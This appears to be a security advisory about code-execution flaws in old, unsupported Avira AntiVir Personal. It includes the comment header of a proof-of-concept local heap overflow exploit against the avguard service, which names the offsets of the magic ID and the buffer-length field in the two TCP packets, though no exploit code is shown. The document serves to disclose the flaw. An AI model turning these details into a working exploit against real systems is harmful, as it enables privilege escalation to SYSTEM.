Avira AntiVir Personal is prone to multiple code-execution vulnerabilities.
 
Successful exploits may allow an attacker to execute arbitrary code with SYSTEM-level privileges. Failed exploit attempts will likely result in denial-of-service conditions.
 
Please note that these issues affect versions of the application that are no longer supported.

# Avira AntiVir personal edition avguard.exe 7.00.00.52 local heap overflow
# Proof of Concept (PoC) exploit / target: WinXP SP1
# bug discovered/exploit written by D.Elser
#
# by sending two simple TCP packets which will
# exploit a vulnerability in the Antivir guard
# service, the user will gain SYSTEM privileges
#
# this PoC code will cause the avguard service
# to show a messagebox within an infinite loop

# contain a magic ID at offset 0x18
# and the length of the second packet 
# to receive
#
# offset 0x18 : magic ID
# offset 0x1C : length of buffer for second packet
